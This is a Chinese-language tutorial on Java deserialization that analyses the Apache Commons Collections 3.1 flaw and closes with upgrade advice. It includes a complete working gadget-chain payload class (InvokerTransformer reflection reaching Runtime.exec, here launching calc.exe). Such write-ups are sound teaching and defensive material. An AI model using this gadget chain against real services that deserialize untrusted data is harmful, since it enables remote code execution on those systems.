主要从Commons Collections 包来浅析java反序列化漏洞成因。

一、对象序列化

对象序列化是一个用于将对象状态转换为字节流的过程,可以将其保存到磁盘文件中或通过网络发送到任何其他程序。通过实现java.io.Serializable接口,可以在Java类中启用可序列化。

序列化简单实现例子如下:

public class Student implements Serializable {
private String name;
public Student(String name){
this.name = name;
}
public String toSting(){
return "my name is " + name;
}
}

将其序列化到文件中,代码如下:

public static void main(String[] args) throws Exception{
Student student = new Student("ramboo");
File file = new File("E:"+ File.separator+"text.txt");
ObjectOutputStream oos = null;
OutputStream out = new FileOutputStream(file);
oos = new ObjectOutputStream(out);
oos.writeObject(student);
oos.close();
}

保存到文件中的内容如下:

¬í �sr �com.example.demo.StudentötB&�óOĹ� �L �namet �Ljava/lang/String;xpt �ramboo

以上保存的内容是二进制数据。保存的文件本身不可以直接修改,因为会破坏其保存的格式。

二、对象反序列化

使用对象输入流读入对象的过程称为反序列化。简单来说,就是从一组序列化后的二进制流重新构造成对象的过程。

与反序列化密切相关的就是对象输入流ObjectInputStream以及其方法readObject()

以下代码是通过ObjectInputStream读取从上述序列化到文件中的二进制流。

public static void main(String[] args) throws Exception{
File file = new File("E:"+ File.separator+"text.txt");
ObjectInputStream ois = null;
InputStream input = new FileInputStream(file);
ois = new ObjectInputStream(input);
Object object = ois.readObject();
ois.close();
System.out.println(object.toString());
}

以上代码结果输出如下:

Student{name='ramboo'}

接下来再看,如果将反序列化的目标对象添加readObject方法,如下:

public class Student implements Serializable {
private String name;
public Student(String name){
this.name = name;
}
@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
'}';
}
private void readObject(ObjectInputStream stream)
throws IOException, ClassNotFoundException{
System.out.println("this method is override,haha");
}
}

则上述反序列化的代码将会输出如下结果:

this method is override,haha

Student{name='null'}

通过以上可知,在被反序列化的目标对象中重写readObject方法,则反序列化的结果是不再读取文件中的二进制流,而是直接执行了已经重写的readObject方法。而反序列化漏洞就是从这个地方而来。

如果目标对象的readObject进行了一些更复杂的操作的时候,那么极有可能给恶意代码提供可乘之机。例如在此方法中实现弹出计算器:

private void readObject(ObjectInputStream stream)
throws Exception{
Object runTime=Class.forName("java.lang.Runtime")
.getMethod("getRuntime",new Class[]{})
.invoke(null);
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runTime,"calc.exe");
}

再执行上述main方法,则会弹出计算器,如下图所示:

1.png

三、反序列化漏洞

反序列化漏洞,就是程序传送了不安全的反序列化对象,并且程序没有对此不安全的对象做过滤及限制,导致执行了不安全的对系统造成破坏性的操作。

下面主要分析一下apache common collections包存在的反序列化漏洞

四、apache common collections反序列化漏洞

本例是使用具有漏洞的版本3.1进行说明。

4.1、定义

apache common collections到底有何妙用,能让WebLogic、WebSphere、JBoss、Jenkins、OpenNMS都纷纷青睐。引用某博客中的一段话加以说明:

此包中对Java中的集合类进行了一定的补充,定义了一些全新的集合,当然也是实现了Collection接口的,比如Bag,BidiMap。同时拥有新版本的原有集合,比如FastArrayList。最后,更为重要的是一系列utils类,提供了我们常用的集合操作,可以大大方便我们的日常编程。

对于具体有哪些用途,本人也没有具体深入研究。本篇主要聚焦此包中为何会存在反序列化漏洞。通过一系列调研,此包中存在反序列化漏洞是由于TransformedMap和InvokerTransformer造成的。

4.2、浅析

TransformedMap这个类是用来对Map进行某些变换用的。当我们修改Map中的某个值,不管是key还是value,就会触发我们预先定义好的某些操作来对Map进行处理。实例化TransformedMap这个对象是通过其静态方法decorate得到的,如下:

Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);

其中,map为普通的Map,keyTransformer和valueTransformer分别对应当key改变和value改变时需要做的操作,其类型实现了Transformer接口。该接口定义如下:

public interface Transformer {
Object transform(Object var1);
}

其中只定义了一个transform方法。这个方法会在key或者value改变时触发调用。如果需要触发一系列操作,可定义ChainedTransformer来实现。具体操作如下:

首先定义一个Transformer数组:

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(...),
new InvokerTransformer(...),
.....
};

其次实例化ChainedTransformer:

Transformer chainedTransformer = new ChainedTransformer(transformers);

最后传入TransformedMap实例化参数中:

Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

此时,如果map中的value发生变化,会调用chainedTransformer中定义的transform方法:

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}

从中可以看到,此类中的transform方法会将上一次变换的结果作为下一次变换的输入,直到所有的变换完成,并返回最终的object。

现在真正的主角出场,InvokerTransformer。如果在变换链中有InvokerTransformer,则也会调用transform方法,它对应方法实现如下:

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

从中可以看出,它是利用反射机制来调用对应的方法。如果input可控,输入一些非法的对象,则会带来安全风险。那么如何利用此漏洞呢?

4.3、利用

成功利用需满足的条件如下:

1、序列化对象具有不安全性

2、被反序列化对象已经重写了readObject方法

3、外部能够触发readObject方法

根据以上条件,简单利用此漏洞的序列化对象如下所示:

package com.example.demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
/**
* 反序列化payload
*
* @author:xing.hang
* @created 2019-07-11 19:35
*/
public class SerializablePayload implements Serializable {
private Map transformedMap = null;
public SerializablePayload(Map transformedMap){
this.transformedMap = transformedMap;
}
private void readObject(ObjectInputStream stream)
throws Exception{
stream.defaultReadObject();
Map.Entry entry = (Map.Entry) this.transformedMap.entrySet().iterator().next();
entry.setValue("xing");
}
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{
String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{null,new Class[0]}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{"calc.exe"})
};
Map map = new HashMap();
map.put("name","ramboo");
Transformer valueTransformer = new ChainedTransformer(transformers);
Map transformedMap = TransformedMap.decorate(map,null,valueTransformer);
SerializablePayload payload = new SerializablePayload(transformedMap);
File file = new File("E:"+ File.separator+"text.txt");
ObjectOutputStream oos = null;
OutputStream out = new FileOutputStream(file);
oos = new ObjectOutputStream(out);
oos.writeObject(payload);
oos.close();
}
}

执行此段代码,会将对象序列化保存到文件中。其中

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{
String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{null,new Class[0]}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{"calc.exe"})
};

其功能是弹出计算器。如果直接利用java普通方法操作,则代码如下:

Runtime.getRuntime().exec("calc.exe");

由于InvokerTransformer类中的transform方法采用了反射机制执行相应操作,所以便有了上述的代码块。

一旦我们对保存过的二进制文件反序列化,则会调用readObject,在此方法中,修改了map的value值。map中的value发生变化,会依次执行transformers数组中的各个类的transform方法。继而弹出计算器,目标达成。

以上便是对apache common collections包反序列化漏洞的成因的简单分析。我们在开发过程中,如果使用此包,可更新为最新版本。目前最新版本是4.4,使用方法也有所不同,大家如有兴趣,可自行查看。相关依赖如下:

org.apache.commons

commons-collections4

4.4

受影响版本为:

Apache Commons Collections <= 3.2.1,<= 4.0.0